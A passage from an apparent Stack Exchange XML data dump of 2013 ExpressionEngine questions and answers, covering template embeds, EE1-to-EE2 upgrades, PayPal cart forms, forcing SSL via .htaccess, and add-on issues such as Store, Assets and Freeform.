{/exp:query}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;.part-category-item-test (identical to previous, except for filename)&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; {exp:query sql=&quot;SELECT c.cat_id, c.cat_url_title, c.cat_name &#xA;                FROM exp_channel_titles t &#xA;                LEFT JOIN exp_channel_data d ON t.entry_id = d.entry_id &#xA;                LEFT JOIN exp_category_posts cp ON t.entry_id = cp.entry_id&#xA;                LEFT JOIN exp_categories c ON cp.cat_id = c.cat_id&#xA;                WHERE c.parent_id = '{embed:category_id}'&#xA;                ORDER BY c.cat_order ASC&quot;}&#xA;    {exp:channel:entries category=&quot;{cat_id}&quot; orderby=&quot;title&quot; sort=&quot;asc&quot; dynamic=&quot;no&quot;}&#xA;        &amp;lt;div class=&quot;gridbox&quot; style=&quot;overflow: visible;&quot;&amp;gt;&#xA;            {categories show=&quot;not {embed:category_id}&quot; limit=&quot;1&quot;}&#xA;                &amp;lt;table cellspacing=&quot;0&quot; cellpadding=&quot;0&quot; style=&quot;overflow: visible;&quot;&amp;gt;&#xA;                    &amp;lt;tr style=&quot;overflow: visible;&quot;&amp;gt;&#xA;                        &amp;lt;td style=&quot;overflow: visible;&quot;&amp;gt;&#xA;                            &amp;lt;a href=&quot;{embed:base_url}{url_title}/&quot; &amp;gt;&#xA;                                &amp;lt;img src=&quot;{category_image}&quot; style=&quot;margin: 0; padding: 0;&quot; title=&quot;{title}&quot; /&amp;gt;&#xA;                            &amp;lt;/a&amp;gt;&#xA;                        &amp;lt;/td&amp;gt;&#xA;                    &amp;lt;/tr&amp;gt;&#xA;                &amp;lt;/table&amp;gt;&#xA;                &amp;lt;p&amp;gt;&amp;lt;a href=&quot;{embed:base_url}{url_title}/&quot;&amp;gt;{category_name}&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;&#xA;            {/categories}&#xA;        &amp;lt;/div&amp;gt;&#xA;    {/exp:channel:entries}&#xA; {/exp:query}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update:&lt;/strong&gt; I've now added these templates just in case there's something else to be gleaned, but deleting the original .part-category-item and renaming the (identical) .part-category-item-test worked. At this point I assume it's impossible to narrow down to the answer without also sharing the database, asking the person who migrated the site exactly what he did, etc. I'll chalk it up to some kind of storage or encoding issue, but that's still just a guess.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't create and accept my own answer because I don't think this constitutes one – just a fix. I'm fine with Stack Overflow but end up in messy situations like this on the EE Stack Exchange. Open to suggestions!&lt;/p&gt;&#xA;" OwnerUserId="810" LastEditorUserId="810" LastEditDate="2013-10-24T17:43:23.603" LastActivityDate="2013-10-24T19:21:02.477" Title="embed within loop always getting wrong variable" Tags="|embeds|loop|" AnswerCount="2" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="14905" PostTypeId="2" ParentId="14528" CreationDate="2013-10-23T19:46:59.467" Score="1" Body="&lt;p&gt;I agree with the above, my method goes like this:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Copy the site and database to a development environment, you can use your own computer running MAMP/WAMP, use a subdomain on the existing hosting account, or even an unused hosting account&lt;/li&gt;&#xA;&lt;li&gt;Take a backup of site and database, you can usually do this via the hosting control panel&lt;/li&gt;&#xA;&lt;li&gt;Upgrade EE1 addons/extensions/plugins to latest available&lt;/li&gt;&#xA;&lt;li&gt;Upgrade EE to 1.7.1 and check it all works as expected&lt;/li&gt;&#xA;&lt;li&gt;Take another backup&lt;/li&gt;&#xA;&lt;li&gt;Download latest EE2, and all the addons you need to replace via Devot-ee.com, extract files ready to upload&lt;/li&gt;&#xA;&lt;li&gt;Rename your /system /themes folders to /systemOLD and /themesOLD&lt;/li&gt;&#xA;&lt;li&gt;Upload the EE2 /system and /themes folders, and also the /images folder&lt;/li&gt;&#xA;&lt;li&gt;Upload addon files as per their instructions&lt;/li&gt;&#xA;&lt;li&gt;Run the EE2 installer and follow the on screen instructions&lt;/li&gt;&#xA;&lt;li&gt;When the installer is done login to the control panel and install addons&lt;/li&gt;&#xA;&lt;li&gt;Check your new EE2 site out, depending what you had on the old site you may need to adjust some template tags or tweak to get working again - often some addons require template tweaks.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="1029" LastActivityDate="2013-10-23T19:46:59.467" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="14906" PostTypeId="2" ParentId="14458" CreationDate="2013-10-23T19:53:51.203" Score="1" Body="&lt;p&gt;Although you switched forms I'll still post an answer as it may help someone else.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &quot;required&quot; parameter is a bit misleading, it doesn't actually validate the field, to quote the docs &quot;This field allows you to have required information that is included at top of each email. Useful for support emails where the information can be readonly or hidden.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want item headings in the received email you can do this with a hidden field:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;label for=&quot;my_name_field&quot;&amp;gt;Name &amp;lt;/label&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;message[]&quot; value=&quot;--Name--&quot;&amp;gt;&#xA;&amp;lt;input id=&quot;my_name_field&quot; name=&quot;message[]&quot; value=&quot;&quot;/&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then in the email message you'd get:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;--Name--&#xA;Fred Bloggs&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1029" LastActivityDate="2013-10-23T19:53:51.203" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14907" PostTypeId="1" CreationDate="2013-10-23T19:57:54.820" Score="2" ViewCount="72" Body="&lt;p&gt;I am trying to force the EE1 control panel to my secure cert, with a bit of difficulty. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is that not everything is delivered by a relative link, so some stuff, specifically custom fieldtypes import their js and css in http:// vs https://&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The piece of code that is responsible is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;include_css('styles/ngen_file_field.css');&#xA;$this-&amp;gt;include_js('scripts/jquery.livequery.js');&#xA;$this-&amp;gt;include_js('scripts/jquery.ngen_file_field.js');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;etc, for a couple of fieldtypes in there. Each one starts with http://&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So with all of this coming in as 'non-secure' the server rules blocks it, not allowing the admin panel to render. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the question is, how do I override this behaviour? I don't mind circumventing the core stuff, as this site wont be updated ever, and if I have to hard-code something, so help me I will. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any old EE1 devs have an idea?&lt;/p&gt;&#xA;" OwnerUserId="99" LastActivityDate="2013-10-24T08:58:33.507" Title="Editing for SSL - EE1" Tags="|control-panel|ee1|fieldtype|ssl|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14908" PostTypeId="2" ParentId="14582" CreationDate="2013-10-23T20:06:44.200" Score="0" Body="&lt;p&gt;It turns out from looking it over with Solspace that if you tick that the first row is your field names, and leave one blank, the import wont work. You have to keep this field with some text in it.&lt;/p&gt;&#xA;" OwnerUserId="99" LastActivityDate="2013-10-23T20:06:44.200" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14909" PostTypeId="2" ParentId="14299" CreationDate="2013-10-23T20:12:32.177" Score="0" Body="&lt;p&gt;Try something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;science_projects&quot; search:age=&quot;1-20|21-40|41-60|61-80|81-100&quot; limit=&quot;3&quot; dynamic=&quot;off&quot; sort=&quot;desc&quot;}&#xA;{if age != &quot;Select Age Range&quot;}&#xA;  {if count == &quot;1&quot;}&#xA;    &amp;lt;div class=&quot;filter-attribute&quot;&amp;gt;&#xA;    &amp;lt;h3&amp;gt;Filter By&amp;lt;/h3&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;    &amp;lt;div class=&quot;attirbute-name&quot;&amp;gt;&#xA;    &amp;lt;h2&amp;gt;Age&amp;lt;/h2&amp;gt;&#xA;  {/if}&#xA;    &amp;lt;ul&amp;gt;&#xA;    &amp;lt;li&amp;gt;&amp;lt;a href=&quot;#&quot;&amp;gt;{age}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;    &amp;lt;/ul&amp;gt;&#xA;  {if count == total_results}&#xA;    &amp;lt;/div&amp;gt;&#xA;  {/if}&#xA;{/if}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1029" LastActivityDate="2013-10-23T20:12:32.177" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14910" PostTypeId="2" ParentId="14794" CreationDate="2013-10-23T20:35:27.260" Score="0" Body="&lt;p&gt;At the moment there are too many 3rd party addons that seem to need their theme files to be in /themes/third_party so using a custom location isn't fool proof. With that in mind I personally like to keep as many things as &quot;default&quot; as possible.&lt;/p&gt;&#xA;" OwnerUserId="1029" LastActivityDate="2013-10-23T20:35:27.260" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14911" PostTypeId="1" AcceptedAnswerId="15224" CreationDate="2013-10-23T20:43:11.487" Score="0" ViewCount="196" Body="&lt;p&gt;ExpressionEngine v2.7.1 - Build Date: 20130924&#xA;Wygwam 3.1.2&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I create a new entry, I am able to click on the &quot;Embed Media&quot; button in the toolbar and paste the YouTube provided embed code, click &quot;Save&quot; and the video inserts without issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, if I edit that entry, or edit another entry and attempt to insert a video in another location, I click the &quot;Embed Media&quot; button in the toolbar and paste the YouTube provided embed code, click &quot;Save&quot; and nothing happens.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the console window, (Chrome), I get the following: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Uncaught SecurityError: Blocked a frame with origin &quot;http://admin.domain.com&quot; from accessing a frame with origin &quot;http://domain.com&quot;. Protocols, domains, and ports must match.        ckeditor.js:876&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In IE script error window I get:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SCRIPT5: Access is denied.        ckeditor.js, line 876 character 99&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I don't understand why it works the first go, but not the edit.&lt;/p&gt;&#xA;" OwnerUserId="3139" LastActivityDate="2013-10-31T17:16:13.190" Title="Wygwam field with sub-domains - Can't insert media from YouTube" Tags="|ee2|wygwam|subdomain|embed-media|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14912" PostTypeId="2" ParentId="14789" CreationDate="2013-10-23T20:53:40.817" Score="2" Body="&lt;p&gt;It's actually quite easy to use the standard Paypal shopping cart with EE.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use Paypal's cart/button generator to get the basic add to cart form code, you can add two product options fields using the generator, but it will actually support up to 10 option fields if you need more. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The next step is to add the form to your template and replace various values with EE custom field tags, example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel entries channel=&quot;products&quot; limit=&quot;1&quot;}&#xA;&amp;lt;h1&amp;gt;{title}&amp;lt;/h1&amp;gt;&#xA;&#xA;&amp;lt;form target=&quot;paypal&quot; action=&quot;https://www.paypal.com/cgi-bin/webscr&quot; method=&quot;post&quot; &amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;cmd&quot; value=&quot;_cart&quot;&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;business&quot; value=&quot;{your_email_address}&quot;&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;item_name&quot; value=&quot;{title}&quot;&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;button_subtype&quot; value=&quot;products&quot;&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;no_note&quot; value=&quot;0&quot;&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;add&quot; value=&quot;1&quot;&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;bn&quot; value=&quot;PP-ShopCartBF:btn_cart_LG.gif:NonHostedGuest&quot;&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;currency_code&quot; value=&quot;GBP&quot;&amp;gt;&#xA;&#xA;&amp;lt;!-- sku in hidden field --&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;on1&quot; value=&quot;SKU&quot;&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;os1&quot; value=&quot;{cf_product_sku}&quot;&amp;gt;&#xA;&#xA;&amp;lt;!-- options --&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;on0&quot; value=&quot;Size&quot;&amp;gt;Size&#xA;&amp;lt;select name=&quot;os0&quot;&amp;gt;&#xA;    &amp;lt;option value=&quot;A4&quot;&amp;gt;A4&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&quot;A3&quot;&amp;gt;A3&amp;lt;/option&amp;gt;&#xA;&amp;lt;/select&amp;gt;&#xA;&amp;lt;!-- options data hidden fields --&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;option_select0&quot; value=&quot;A4&quot;&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;option_amount0&quot; value=&quot;{cf_a4_price}&quot;&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;option_select1&quot; value=&quot;A3&quot;&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;option_amount1&quot; value=&quot;{cf_a3_price}&quot;&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;option_index&quot; value=&quot;0&quot;&amp;gt;&#xA;&#xA;&#xA;&amp;lt;input type=&quot;image&quot; src=&quot;https://www.paypalobjects.com/en_GB/i/btn/btn_cart_LG.gif&quot; border=&quot;0&quot; name=&quot;submit&quot; alt=&quot;PayPal – The safer, easier way to pay online.&quot;&amp;gt;&#xA;&amp;lt;img alt=&quot;&quot; border=&quot;0&quot; src=&quot;https://www.paypalobjects.com/en_GB/i/scr/pixel.gif&quot; width=&quot;1&quot; height=&quot;1&quot;&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;{/exp:channel entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For reference I added some sample channel fields, eg&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{title}&#xA;{cf_product_sku} (your SKU code)&#xA;{cf_a4_price} (A4 price)&#xA;{cf_a3_price} (A3 price)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;...obviously you'll want to tailor those as needed!&lt;/p&gt;&#xA;" OwnerUserId="1029" LastActivityDate="2013-10-23T20:53:40.817" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14913" PostTypeId="1" AcceptedAnswerId="14955" CreationDate="2013-10-23T21:09:17.763" Score="1" ViewCount="136" Body="&lt;p&gt;I hope someone can help me. I've been working on a site using Exp:resso store 1.6.4 and EE 2.6.0. I've just finished the dev process, but while I've been busy doing that, EE has updated and so has Store. I thought I'd upgrade them both now before the site goes live, so I've just patched to Store 1.6.5 and EE 2.7.2. (I've got backups).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Everything seems to work ok until I return from eWay's shared payment page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EE gives a vague error: &lt;code&gt;The action you have requested is invalid.&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is when trying to process &lt;code&gt;index.php?ACT=34&amp;amp;H=e6afaea42c9d67163422a8e039274f83&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From what I've read I believe could be a security issue? I've found nothing specificto help solve, however. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that at present I am running the dev server without an SSL, and this was not a problem until now. Store is set to NOT require SSL connection.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also note that the payments are processed and completed at eWay, but the order is never recognised in Store, and my cart still contains the ordered items.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's my cart tag:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;{exp:store:checkout payment_method=&quot;eway_shared&quot; return=&quot;checkout/confirm/ORDER_HASH&quot; require=&quot;accept_terms&quot; error_handling=&quot;inline&quot; error_delimiters='&amp;lt;span class=&quot;error&quot;&amp;gt;|&amp;lt;/span&amp;gt;'}&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help much appreciated.&lt;/p&gt;&#xA;" OwnerUserId="2249" LastEditorUserId="2249" LastEditDate="2013-10-23T21:16:43.830" LastActivityDate="2013-10-24T19:14:19.760" Title="Store error on return from gateway (eWay) after upgrade to ee2.7.2" Tags="|expresso-store|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14914" PostTypeId="2" ParentId="14738" CreationDate="2013-10-23T21:15:09.643" Score="0" Body="&lt;p&gt;If you want to keep &quot;out of the box&quot; there's no harm in using a gallery channel and have one image per entry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This would then offer many ways to filter&#xA;- categories&#xA;- status&#xA;- author&#xA;- date (range)&#xA;- keyword search&#xA;- dynamic parameters&#xA;- segment values&#xA;... or a combination of any of the above.&lt;/p&gt;&#xA;" OwnerUserId="1029" LastActivityDate="2013-10-23T21:15:09.643" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="14915" PostTypeId="2" ParentId="14898" CreationDate="2013-10-23T22:31:34.223" Score="1" Body="&lt;p&gt;I use Assets for most clients since it is so much easier for them to use. Some them have (what I would consider) a lot of images and I haven't heard of any issues.&lt;/p&gt;&#xA;" OwnerUserId="156" LastActivityDate="2013-10-23T22:31:34.223" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14916" PostTypeId="2" ParentId="14907" CreationDate="2013-10-23T22:39:44.120" Score="3" Body="&lt;p&gt;You can try making the requests &quot;schemeless&quot;...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead of &lt;code&gt;http://www.example.com/styles/ngen_file_field.css&lt;/code&gt; or &lt;code&gt;https://www.example.com/styles/ngen_file_field.css&lt;/code&gt; simply edit to: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;//www.example.com/styles/ngen_file_field.css&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will cause the resources to inherit the scheme of the page in which they are loaded.&lt;/p&gt;&#xA;" OwnerUserId="210" LastEditorUserId="210" LastEditDate="2013-10-23T22:53:06.227" LastActivityDate="2013-10-23T22:53:06.227" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14917" PostTypeId="2" ParentId="14913" CreationDate="2013-10-23T22:43:12.460" Score="0" Body="&lt;p&gt;Secure forms isn't protocol aware, so the SSL cert doesn't come into play. The role of secure forms is to check that the submission originated from a form on this site and no more than once.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Without setting up a test install it's hard to tell you exactly what would need to be changed in order to support secure forms. That said, there should be no issues with leaving it disabled until Adrian adds support to Store v1.&lt;/p&gt;&#xA;" OwnerUserId="156" LastActivityDate="2013-10-23T22:43:12.460" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14918" PostTypeId="1" CreationDate="2013-10-24T00:39:30.967" Score="1" ViewCount="167" Body="&lt;p&gt;I have been moving from EE file manager to Assets on a few sites without problems. The images turn up in the assets channel fields and all looks good.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But now I tried changing a field inside Matrix. It was EE file manager and I changed it to Assets. The image dosen't appear in the field but it shown in the Assets module (I have updated indexes and everything looks good there).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So basically I would have to go through every entry and select the file again in Assets and submit again to get the images back in order.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can see the image in the exp_matrix_data folder. For example: {filedir_1}14958_Gravity.jpg But it is as I said not being displayed in the field in CP and not on the front end.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So my question is: Is it not possible to move from EE file manager to Assets inside a Matrix field?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have EE 2.7.2&#xA;Matrix 2.5.8&#xA;Assets 2.2.1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="2251" LastActivityDate="2013-10-24T00:39:30.967" Title="Moving from EE file manager to Assets inside Matrix" Tags="|matrix|assets|file-manager|" AnswerCount="0" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="14920" PostTypeId="1" CreationDate="2013-10-24T01:42:28.853" Score="2" ViewCount="63" Body="&lt;p&gt;I'm using &lt;strong&gt;Solspace Importer&lt;/strong&gt; to create channel entries from external &lt;strong&gt;XML&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It works fine but only with first title/description element (&lt;em&gt;lang=&quot;&lt;strong&gt;es&lt;/strong&gt;&quot;&lt;/em&gt;). How can I grab data from (&lt;em&gt;lang=&quot;&lt;strong&gt;en&lt;/strong&gt;&quot;&lt;/em&gt;) children?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My XML structure is below &amp;amp; full huge file is &lt;a href=&quot;http://www.elenahills.com/exportacion/export.xml&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;root&amp;gt;&#xA;    &amp;lt;property&amp;gt;&#xA;        &amp;lt;descriptions&amp;gt;&#xA;            &amp;lt;title lang=&quot;es&quot;&amp;gt;&#xA;                &amp;lt;![CDATA[ Bungalow en Altea Hills ]]&amp;gt;&#xA;            &amp;lt;/title&amp;gt;&#xA;            &amp;lt;title lang=&quot;en&quot;&amp;gt;&#xA;                &amp;lt;![CDATA[ Bungalow in Altea Hills ]]&amp;gt;&#xA;            &amp;lt;/title&amp;gt;&#xA;            &amp;lt;description lang=&quot;es&quot;&amp;gt;&#xA;                &amp;lt;![CDATA[&#xA;                    Bonito bungalo en Altea Hills con vistas al mar.&#xA;                ]]&amp;gt;&#xA;            &amp;lt;/description&amp;gt;&#xA;            &amp;lt;description lang=&quot;en&quot;&amp;gt;&#xA;                &amp;lt;![CDATA[&#xA;                    Lovely bungalow in Altea Hills with sea view.&#xA;                ]]&amp;gt;&#xA;            &amp;lt;/description&amp;gt;&#xA;        &amp;lt;/descriptions&amp;gt;&#xA;    &amp;lt;/property&amp;gt;&#xA;&amp;lt;/root&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2253" LastActivityDate="2013-10-24T19:11:30.687" Title="XML children with parameters import" Tags="|ee2|solspace|import|xml|solspace-importer|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14921" PostTypeId="2" ParentId="14859" CreationDate="2013-10-24T02:46:28.717" Score="3" Body="&lt;p&gt;You'll notice that the hidden &lt;code&gt;_params&lt;/code&gt; field does change with each request (due to how the encryption works), but it &lt;strong&gt;is safe to cache&lt;/strong&gt;. It's basically just an encrypted version of the Product tag parameters, so as long as your Product tag parameters don't change with each request (e.g. it contains segment variables or other dynamic variables), it's safe to cache this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only problem you might run into is the &lt;code&gt;XID&lt;/code&gt; field which is generated fresh on each request and is &lt;strong&gt;not safe to cache&lt;/strong&gt;. However, you can get around this by either disabling secure forms, or it's possible that CE Cache and other caching plugins take into account the XID and update it after loading the cached fragment. You would need to check with the plugin author or documentation about this. At least with the XID it will be really obvious if it is broken (every form submission after the first would break, so you would notice immediately).&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2013-10-24T02:46:28.717" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14922" PostTypeId="2" ParentId="14904" CreationDate="2013-10-24T05:48:14.057" Score="1" Body="&lt;p&gt;There has to be something else at play. Using your exact example A code in empty template + site/template embed code, I get as expected:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;1 / The parent category ID is 1.&#xA;2 / The parent category ID is 2.&#xA;3 / The parent category ID is 3.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Try it yourself using empty templates. &lt;/p&gt;&#xA;" OwnerUserId="951" LastActivityDate="2013-10-24T05:48:14.057" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14923" PostTypeId="2" ParentId="14899" CreationDate="2013-10-24T06:03:45.060" Score="1" Body="&lt;p&gt;The issue is parse order. In your code {exp:stash:append_list name=&quot;resource&quot;... Is three levels deep. Think layers of an onion. Whereas your {exp:gwcode_categories... is two levels deep but also requires the &quot;resource&quot; var which has not yet been parsed.&lt;/p&gt;&#xA;" OwnerUserId="951" LastEditorUserId="951" LastEditDate="2013-10-24T06:51:23.017" LastActivityDate="2013-10-24T06:51:23.017" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14924" PostTypeId="1" CreationDate="2013-10-24T08:01:54.947" Score="0" ViewCount="87" Body="&lt;p&gt;I am using Solspace month calendar. The calendar is embeded in another template. when I click on the next/prev month links it takes me to different page. I would like it to change the month but stay in the same page. It seems that there is problem with the path but I don't know how to fix it. I am using the following path:&#xA;&lt;strong&gt;Previous Month&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="2121" LastActivityDate="2013-10-24T17:01:00.570" Title="Solspace calendar next/prev month path" Tags="|solspace-calendar|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14925" PostTypeId="2" ParentId="14907" CreationDate="2013-10-24T08:58:33.507" Score="3" Body="&lt;p&gt;The answer to getting the fieldtypes all under SSL is to make sure the fieldframe settings are set to https in the fieldtype path. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;utilities -&gt; extensions manager -&gt; fieldframe -&gt; settings&lt;/p&gt;&#xA;&#xA;&lt;p&gt;.htaccess forces ssl by the below:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteEngine on&#xA;RewriteCond %{HTTPS} !=on&#xA;RewriteRule ^ https://%{HTTP_HOST}%{REQUEST_URI} [L,R=301]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;So to recap, converting an EE1 install to run on https (assuming the ssl cert is correct)&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Force https via .htaccess&lt;/li&gt;&#xA;&lt;li&gt;Change config file and general preferences to reflect the https:// protocol&lt;/li&gt;&#xA;&lt;li&gt;Change fieldframe settings to the same protocol&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;The admin panel should all run on ssl now for EE1, for what it is worth this might save someone some time in the future. &lt;/p&gt;&#xA;" OwnerUserId="99" LastActivityDate="2013-10-24T08:58:33.507" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14926" PostTypeId="2" ParentId="11963" CreationDate="2013-10-24T09:01:43.943" Score="1" Body="&lt;p&gt;This was all down to EE limiting my results to 99 even though I was trying to pull in a variable to set a higher limit. I hard-coded the limit in and it worked fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Supersearch is in the clear here.&lt;/p&gt;&#xA;" OwnerUserId="628" LastActivityDate="2013-10-24T09:01:43.943" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14927" PostTypeId="1" CreationDate="2013-10-24T10:55:48.837" Score="1" ViewCount="94" Body="&lt;p&gt;Can you please tell me if the Discussion Forum Module will run on Expression Engine version 2.3.0?&lt;/p&gt;&#xA;" OwnerUserId="2254" LastEditorUserId="104" LastEditDate="2013-10-24T16:17:52.703" LastActivityDate="2013-10-24T16:17:52.703" Title="What version of Expression Engine is required for the Discussion Forum module?" Tags="|forum|discussion|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14928" PostTypeId="1" CreationDate="2013-10-24T12:57:25.077" Score="2" ViewCount="257" Body="&lt;p&gt;Composing multi page form using Freeform Pro Composer where values are required on 2 different pages. Both pages are in same form with pagebreak creating two separate pages. Values are required on both the first and second page of the form. When using straight required=&quot;name|last_name|id_number&quot; (some of those fields span onto page two of the form) the user can not submit the form without getting error messages about fields being required that are on page 2 of the form which they have not seen yet. Any thoughts? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't want to create two separate forms because I want all of the data to dump into the same database entry.&lt;/p&gt;&#xA;" OwnerUserId="2255" LastActivityDate="2017-01-19T11:24:26.720" Title="Multi page form with required fields on both pages bombs" Tags="|solspace-freeform|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
